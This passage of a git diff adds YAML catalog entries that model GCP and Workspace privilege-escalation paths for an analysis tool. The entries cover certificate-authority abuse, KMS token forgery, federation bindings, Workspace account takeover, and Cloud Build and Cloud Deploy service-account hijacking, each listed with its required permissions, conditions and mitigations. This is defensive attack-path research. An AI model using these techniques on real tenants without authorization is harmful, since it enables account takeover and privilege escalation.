gcp-v3-39-authorized-orgs-injection + scope: any + aggregate_as: Exact targets for Authorized orgs injection + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add authorizedOrgDesc->accessLevel->perimeter dependency. + Only when a referenced access level changes its decision for a concrete request can an existing IAM path activate; + descriptor alone is no edge. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-40-issue-a-certificate-for-another-identity + provider: gcp + service: gcp + title: Issue a certificate for another identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacertificatescreate--issue-a-certificate-for-a-more-privileged-identity + summary: CA issuance of cert whose Subject/SAN maps through exact X.509 WIF provider -> bound GCP principal/SA. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: + - action: privateca.certificates.create + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-40-issue-a-certificate-for-another-identity + scope: any + aggregate_as: Exact targets for Issue a certificate for another identity + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F14: parse active CA chain, pool/template policy, + WIF trust/mapping and IAM binding; actor-chosen CSR must satisfy all constraints.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-41-ca-pool-setiampolicy + provider: gcp + service: gcp + title: CA pool setIamPolicy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacapoolssetiampolicy--grant-certificate-issuance-on-a-ca-pool + summary: 'Pool setIamPolicy self-grants certificate issuance, then #40 exact trust chain. Exact source, target, + scope and prerequisite proof are required.' + requires: + all_of: + - action: privateca.caPools.setIamPolicy + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-41-ca-pool-setiampolicy + scope: any + aggregate_as: Exact targets for CA pool setIamPolicy + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F14: simulate valid policy write subject to constraints; + then run issuance/X.509 WIF mapping. Never infer project-level IAM from pool policy itself.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-42-relax-issuance-constraints + provider: gcp + service: gcp + title: Relax issuance constraints + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacapoolsupdate-or-privatecacertificatetemplatesupdate--issuance--relax-certificate-constraints + summary: 'Pool/template update relaxes exact issuance restriction, then #40 trust chain. Exact source, target, + scope and prerequisite proof are required.' + requires: + any_of: + - - action: privateca.caPools.update + resource: '*' + - action: privateca.certificates.create + resource: '*' + - - action: privateca.certificateTemplates.update + resource: '*' + - action: privateca.certificates.create + resource: '*' + - action: privateca.certificateTemplates.use + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-42-relax-issuance-constraints + scope: any + aggregate_as: Exact targets for Relax issuance constraints + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F14: simulate one authorized update and required + certificateTemplates.use/issuance. Other remaining restrictions must still pass.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-43-kms-usetosign-on-a-key-that-backs-a-trusted-jwt-oidc-issue + provider: gcp + service: gcp + title: KMS useToSign on a key that backs a trusted JWT/OIDC issuer + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#signature--jwt--oidc-forgery-with-only-usetosign + summary: KMS asymmetric signer used by a trusted OIDC WIF provider -> exact bound GCP principal. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: + - action: cloudkms.cryptoKeyVersions.useToSign + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-43-kms-usetosign-on-a-key-that-backs-a-trusted-jwt-oidc-issue + scope: any + aggregate_as: Exact targets for KMS useToSign on a key that backs a trusted JWT/OIDC issuer + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F15: compare KMS public key/version and algorithm + with provider JWKS; prove issuer/audience/claim mapping and IAM binding. Sign permission on same enabled version.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-44-workspace-admin-resets-a-tenant-user-s-password-or-adds-it + provider: gcp + service: gcp + title: Workspace admin resets a tenant user's password or adds itself to a tenant group to obtain that identity's + GCP roles + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#access-privileged-gcp-users + summary: Workspace admin password reset or group membership mutation -> exact managed user/group with GCP IAM + roles. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-44-workspace-admin-resets-a-tenant-user-s-password-or-adds-it + scope: any + aggregate_as: Exact targets for Workspace admin resets a tenant user's password or adds itself to a tenant group + to obtain that identity's GCP roles + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F16: exact Workspace privilege/OU/suspension + rules and group management authority. Reset edge conditional on login/MFA challenge; group mutation targets + exact IAM-bound group.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-45-abuse-an-over-broad-existing-workload-workforce-identity-f + provider: gcp + service: gcp + title: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + source: src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md#gcp + summary: Controllable external issuer subject meeting an existing WIF provider and IAM binding -> bound GCP SA/principal. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-45-abuse-an-over-broad-existing-workload-workforce-identity-f + scope: any + aggregate_as: Exact targets for Abuse an over-broad existing workload/workforce identity federation binding + from an external identity + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add external_federated_source kind and claim-satisfiability + evaluator for provider mapping/condition and exact principalSet binding. GitHub public-repository claim control + may be declared with issuer evidence; arbitrary issuer/source control absent means UNKNOWN, not every local + principal. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:external +- id: gcp-v3-46-abuse-an-over-broad-existing-workload-workforce-identity-f + provider: gcp + service: gcp + title: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + summary: 'Unpinned GitHub OIDC federation -> #45; GKE metadata SSRF variant requires a separate proven pod-to-node-metadata + reachability edge. Exact source, target, scope and prerequisite proof are required.' + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-46-abuse-an-over-broad-existing-workload-workforce-identity-f + scope: any + aggregate_as: Exact targets for Abuse an over-broad existing workload/workforce identity federation binding + from an external identity + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add external_federated_source for GitHub claim control + and k8s_pod_metadata_reachable selector for exact node SA with metadata mode/legacy endpoints. No edge from + GKE cluster existence or pool-wide binding alone. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:external +- id: gcp-v3-47-abuse-an-over-broad-existing-workload-workforce-identity-f + provider: gcp + service: gcp + title: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#workload--workforce-identity-federation-confused-deputy + summary: External AWS/Azure/GitHub identity with controllable qualifying claims -> exact WIF-bound target. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-47-abuse-an-over-broad-existing-workload-workforce-identity-f + scope: any + aggregate_as: Exact targets for Abuse an over-broad existing workload/workforce identity federation binding + from an external identity + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. Same external_federated_source/claim evaluator + as #45, with issuer-specific ownership evidence. Unsupported CEL or unproven external credential control is + UNKNOWN; pool-wide trust is conditional exposure only.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:external +- id: gcp-v3-48-open-an-iam-bound-google-group-to-later-self-join-by-a-con + provider: gcp + service: gcp + title: Open an IAM-bound Google Group to later self-join by a controlled identity + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-identity-persistence.md#open-an-iam-bound-groups-join-policy--durable-self-service-re-entry + summary: Group owner/manager changes join setting and controlled user later self-joins IAM-bound group. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_group + selector: + gcp_challenge_fact: gcp-v3-48-open-an-iam-bound-google-group-to-later-self-join-by-a-con + scope: any + aggregate_as: Exact targets for Open an IAM-bound Google Group to later self-join by a controlled identity + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F17: new gcp_group_join_policy_editable_by_source + selector, exact group and controlled joiner, tenant policy. Future self-join conditional; only actual IAM-bound + group target.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-49-deploy-caller-controlled-infrastructure-as-a-selected-serv + provider: gcp + service: gcp + title: Deploy caller-controlled infrastructure as a selected service account through Application Design Center + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-application-design-center-enum.md#remote-mcp-server + summary: Design Center editable IaC plus deploy permission and exact selected SA/agent actAs -> selected SA. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-49-deploy-caller-controlled-infrastructure-as-a-selected-serv + scope: any + aggregate_as: Exact targets for Deploy caller-controlled infrastructure as a selected service account through + Application Design Center + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F18: add gcp_design_center_deploys_as_sa; require + application update/deploy, mcp.tools.call if MCP route, caller and service-agent actAs, exact application/revision/IaC + and target SA. Conditional on deployment execution.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + +- id: gcp-workspace-admin-password-reset-2sv-takeover + provider: gcp + service: workspace + title: Take over a Workspace user with password reset and 2SV control + source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#account-takeover-reset-password--strip-2-step-verification + summary: An admin able to reset a user password and disable 2SV or generate backup codes can sign in as that user. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-workspace-admin-password-reset-2sv-takeover + scope: any + aggregate_as: Exact verified target of Take over a Workspace user with password reset and 2SV control + conditions: + - id: exact_verified_prerequisites + description: Join the exact admin, target user and OU; require effective User Management or Help Desk password-reset + privilege plus Security Manage 2SV privilege, and either disable-2SV or backup-code ability. Exclude super-admin + targets and unresolved login challenges. Sign-in remains conditional. + confidence: conditional + severity: high + mitigation: Restrict the relevant Workspace or external-directory rights and monitor changes to the exact target. + references: + - https://support.google.com/a/answer/33319 + - https://support.google.com/a/answer/9176734 + notes: A missing or incomplete collector fact evaluates UNKNOWN; a verified fact remains conditional. + +- id: gcp-workspace-directory-sync-activation-mailbox + provider: gcp + service: workspace + title: Claim a newly synced Workspace user through its activation mailbox + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md#attacking-users + summary: An actor controlling the mapped activation mailbox of a newly synced user can set that user’s Google + password and inherit its group grants. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-workspace-directory-sync-activation-mailbox + scope: any + aggregate_as: Exact verified target of Claim a newly synced Workspace user through its activation mailbox + conditions: + - id: exact_verified_prerequisites + description: Require exact new unactivated user selected by Directory Sync, enabled activation email, mapped + primary or recovery mailbox controlled by the source, and no SSO flow that prevents local password sign-in. + Existing-account mailbox access does not suffice. Activation and sign-in remain conditional. + confidence: conditional + severity: high + mitigation: Restrict the relevant Workspace or external-directory rights and monitor changes to the exact target. + references: + - https://knowledge.workspace.google.com/admin/users/set-up-user-sync + - https://knowledge.workspace.google.com/admin/users/directory-sync-faq + notes: A missing or incomplete collector fact evaluates UNKNOWN; a verified fact remains conditional. diff --git a/src/privilege-escalation-paths-research/gcp/cloudbuild.yaml b/src/privilege-escalation-paths-research/gcp/cloudbuild.yaml new file mode 100644 index 0000000000..0b52f0f806 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/cloudbuild.yaml @@ -0,0 +1,170 @@ +# GCP Cloud Build privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudbuild-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: cloudbuild_default_identity -> the project's default Cloud Build identity (Compute default SA on newer +# projects or the legacy @cloudbuild.gserviceaccount.com), not an attachment to a collected resource. + +- id: gcp-cloudbuild-builds-create-custom-sa-actas + provider: gcp + service: cloudbuild + title: Submit a build running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudbuild.builds.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Build identity in {project}" + conditions: + - id: logging_option + description: A build with a custom SA must specify a logs bucket or a CLOUD_LOGGING_ONLY/NONE logging option; this does not prevent execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; no predefined Cloud Build role carries actAs, so review roles/editor, roles/owner and roles/iam.serviceAccountUser holders. + references: + - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts + - https://docs.cloud.google.com/build/docs/iam-roles-permissions + notes: HackTricks scopes the user-specified SA to SAs inside the build project. This entry also covers the trigger path (HackTricks cloudbuild.triggers.create / cloudbuild.triggers.run section). Google documents that triggers.create, patch, delete and run all require cloudbuild.builds.create; there are no cloudbuild.triggers.* IAM permissions, and the trigger's SA still needs actAs, so the trigger path has exactly this permission set. + +- id: gcp-cloudbuild-builds-create-default-identity + provider: gcp + service: cloudbuild + title: Submit a build running as the legacy Cloud Build service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 6fb9ac51fd + summary: The source can execute build steps as a project's enabled legacy Cloud Build service account without iam.serviceAccounts.actAs + on that Google-owned identity. + requires: + all_of: + - action: cloudbuild.builds.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_default_identity + gcp_sa_in_scope_of_permission: true + target_id_glob: '*@cloudbuild.gserviceaccount.com' + scope: same_project + aggregate_as: Legacy Cloud Build service account of {project}, when enabled + conditions: + - id: legacy_default_enabled + description: Only projects retaining and enabling the legacy Cloud Build default identity permit builds without caller + actAs; current Compute Engine defaults require actAs and are covered by gcp-cloudbuild-builds-create-custom-sa-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Configure builds to use a dedicated least-privilege SA, remove Editor from the Compute default SA and restrict + roles/cloudbuild.builds.editor. + references: + - https://cloud.google.com/build/docs/cloud-build-service-account-updates + notes: The target_id_glob excludes Compute Engine default SAs. This Google-owned legacy identity may be absent from ordinary + service-account inventories; until the evaluator synthesizes it from Cloud Build default-identity state, the edge can + be unresolved or missed. + +- id: gcp-cloudbuild-repositories-accessreadwritetoken + provider: gcp + service: cloudbuild + title: Obtain a read/write SCM token for a connected repository that feeds build triggers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildrepositoriesaccessreadwritetoken--poison-source-consumed-by-a-privileged-trigger + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of build triggers that build from a connected repository on which it holds cloudbuild.repositories.accessReadWriteToken. + requires: + all_of: + - action: cloudbuild.repositories.accessReadWriteToken + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_trigger + scope: same_project + aggregate_as: "SAs of triggers building from writable connected repositories" + conditions: + - id: trigger_on_push + description: A trigger must build from that repository on a push/tag/PR event the token allows, and run a build config the pushed content controls. + - id: branch_protection + description: SCM branch protection can prevent pushing to the trigger's branch; GitHub pull-request triggers can require an owner/collaborator comment before building untrusted contributions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudbuild.repositories.accessReadWriteToken (roles/cloudbuild.tokenAccessor) and protect trigger branches. + notes: The token itself is a short-lived repo-scoped SCM credential; the GCP identity is only reached through a trigger. + +- id: gcp-cloudbuild-connections-setiampolicy-token-access + provider: gcp + service: cloudbuild + title: Self-grant repository token access on a Cloud Build connection that feeds build triggers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildconnectionssetiampolicy--self-grant-repository-token-access + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of build triggers that build from repositories under a Cloud Build connection whose IAM policy it controls. + requires: + all_of: + - action: cloudbuild.connections.setIamPolicy + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_trigger + scope: same_project + aggregate_as: "SAs of triggers building from repositories of connections whose IAM the source controls" + conditions: + - id: connection_parent + description: "{target.artifact_arn} is the linked repository; the binding is granted on its parent connection and inherited by the repository." + - id: followup_token + description: The self-granted token accessor role is then used as in gcp-cloudbuild-repositories-accessreadwritetoken, with the same trigger, branch-protection and approval conditions. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudbuild.connections.setIamPolicy (roles/cloudbuild.connectionAdmin) and protect trigger branches. + references: + - https://docs.cloud.google.com/build/docs/iam-roles-permissions + notes: Without a trigger consuming attacker-writable input the impact is SCM repository access only. +- id: gcp-cloudbuild-log-credential + provider: gcp + service: cloudbuild + title: Recover credentials printed in stored Cloud Build logs + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md#read-stored-build-output + source_revision: 0b36331 + summary: Identity authenticated by valid credential in build output; emit only for the exact verified source, + resource and target. + requires: + all_of: + - action: logging.logEntries.list + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-cloudbuild-log-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover credentials printed in stored Cloud Build logs + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Useful + retained log; alternate user-bucket route needs storage.objects.get, default-bucket helper needs cloudbuild.builds.get + and supported Viewer; content and target verified. + confidence: conditional + severity: high + mitigation: Limit logging.logEntries.list to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md#read-stored-build-output diff --git a/src/privilege-escalation-paths-research/gcp/clouddeploy.yaml b/src/privilege-escalation-paths-research/gcp/clouddeploy.yaml new file mode 100644 index 0000000000..5709b9edc9 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/clouddeploy.yaml @@ -0,0 +1,202 @@ +# GCP Cloud Deploy privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-deploy-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: clouddeploy_target -> execution SA of an existing target/pipeline (executionConfigs[].serviceAccount, +# defaultPool/privatePool.serviceAccount, falling back to the Compute Engine default SA) and the runtime SA of the Cloud Run +# service / GKE workload the target deploys to. "{target.host_resource}" = that delivery pipeline. + +- id: gcp-clouddeploy-pipeline-target-release-actas + provider: gcp + service: clouddeploy + title: Create a delivery pipeline and target whose render/deploy hooks run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#pipelinetarget-configuration--releaserollout-creation--run-an-attacker-task-as-an-execution-service-account + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: clouddeploy.releases.create + resource: '*' + - action: clouddeploy.rollouts.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + any_of: + - - action: clouddeploy.targets.update + resource: '*' + - action: clouddeploy.deliveryPipelines.update + resource: '*' + - - action: clouddeploy.targets.create + resource: '*' + - action: clouddeploy.deliveryPipelines.create + resource: '*' + - - action: clouddeploy.targets.create + resource: '*' + - action: clouddeploy.deliveryPipelines.update + resource: '*' + - - action: clouddeploy.targets.update + resource: '*' + - - action: clouddeploy.targets.update + resource: '*' + - action: clouddeploy.deliveryPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Cloud Deploy execution SA in {project} + conditions: + - id: actas_every_phase + description: actAs is needed on every execution identity used (the RENDER account at release creation and every account + the target selects for rollout jobs); an omitted serviceAccount selects the Compute Engine default SA and does not waive + the check. + - id: execution_sa_roles + description: The execution SA needs baseline Cloud Build execution permissions (e.g. clouddeploy.jobRunner, logging, staging + bucket access) for the job to run. + - id: pipeline_write + description: A matching existing pipeline can use an updated target without pipeline write. Applying a new pipeline and + target through the CLI requires both .update permissions; direct Create calls require .create. The corresponding target + and pipeline must form a valid deployment path. + - id: source_staging + description: A release needs valid renderable source. Local-source gcloud staging requires storage.objects.create on the + staging bucket (and bucket read/create as applicable); a caller may instead supply a previously staged source through + the API. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated execution SAs, restrict clouddeploy.targets.create/update and set an explicit + low-privilege execution SA on every target. + references: + - https://cloud.google.com/deploy/docs/execution-environment + notes: Custom target types add a conditional customTargetTypes.create or .update permission. The direct API can create a + release using existing accessible source; storage.objects.create is a CLI staging requirement, not a universal caller + permission. + +- id: gcp-clouddeploy-release-existing-pipeline + provider: gcp + service: clouddeploy + title: Release attacker artifacts through an existing delivery pipeline + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#clouddeployreleasescreate--clouddeployrolloutscreate--iamserviceaccountsactas--deploy-attacker-controlled-artifacts-through-an-existing-pipeline + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the execution service accounts of existing delivery pipelines on which + it holds clouddeploy.releases.create and clouddeploy.rollouts.create and actAs on those service accounts. + requires: + all_of: + - action: clouddeploy.releases.create + resource: '{target.host_resource}' + - action: clouddeploy.rollouts.create + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: clouddeploy_target + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: Execution and runtime SAs of Cloud Deploy pipelines the source can release to + conditions: + - id: approvals_policies + description: Targets with requireApproval or active deploy policies hold the rollout until approved/overridden. + - id: runtime_vs_execution + description: The deployed image/manifest runs as the target workload's runtime SA (as defined by the attacker-supplied + manifest within the target's limits); Skaffold hooks run as the execution SA. + - id: staging_bucket + description: Local-source gcloud staging needs storage.objects.create on a staging bucket and storage.objects.get for + copied GCS source; existing source supplied to the direct API does not require caller-side staging writes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/clouddeploy.releaser, require approval on production targets and enforce Binary Authorization + on targets. + references: + - https://docs.cloud.google.com/deploy/docs/execution-environment + notes: The caller needs actAs on both render and deployment execution identities; a distinct pair requires both grants. + Reaching a workload runtime SA is a second hop that needs the execution SA's deployment rights and actAs on that runtime + SA (and, for GKE, an existing Workload Identity binding). The evaluator does not yet bind rollout permission to the selected + target separately from its pipeline. + +- id: gcp-clouddeploy-resource-setiampolicy + provider: gcp + service: clouddeploy + title: Self-grant release rights on a delivery pipeline or target through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#cloud-deploy-resource-setiampolicy--self-grant-deployment-permissions + source_revision: 171e422 + summary: The source can obtain the privileges of the execution service accounts, on which it holds actAs, of delivery pipelines whose IAM policy it controls. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: clouddeploy.deliveryPipelines.setIamPolicy + resource: "{target.host_resource}" + - - action: clouddeploy.targets.setIamPolicy + resource: "{target.host_resource}" + - - action: clouddeploy.customTargetTypes.setIamPolicy + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: clouddeploy_target + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "Execution and runtime SAs of Cloud Deploy pipelines whose IAM the source controls" + conditions: + - id: followup + description: The self-granted releaser/developer role is then used as in gcp-clouddeploy-release-existing-pipeline; a pipeline/target binding grants no actAs, source-bucket or target-runtime rights, so actAs and the staging bucket write are still needed. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict clouddeploy.*.setIamPolicy (roles/clouddeploy.admin, roles/owner). + +- id: gcp-clouddeploy-custom-target-render-actas + provider: gcp + service: clouddeploy + title: Run an updated custom-target render task as the target execution service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#pipelinetarget-configuration--releaserollout-creation--run-an-attacker-task-as-an-execution-service-account + source_revision: 6fb9ac51fd + summary: The source can update a custom target type used by an existing delivery target so that release rendering runs attacker-controlled + task code as its render execution service account. + requires: + all_of: + - action: clouddeploy.customTargetTypes.update + resource: '*' + - action: clouddeploy.releases.create + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: clouddeploy_target + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: Render SAs of existing Cloud Deploy pipelines using a custom target type the source can update + conditions: + - id: custom_target_relationship + description: The updated custom target type must be referenced by a target in the selected existing pipeline; the target + must use the SA as its RENDER execution identity. This relationship is not yet collected. + - id: render_source + description: The release must have valid source available to the render account. Local-source CLI staging needs Storage + permissions, but a direct API request may reference previously staged source. + - id: execution_sa_roles + description: The render account must retain its Cloud Deploy job runner and artifact access, and target configuration + or 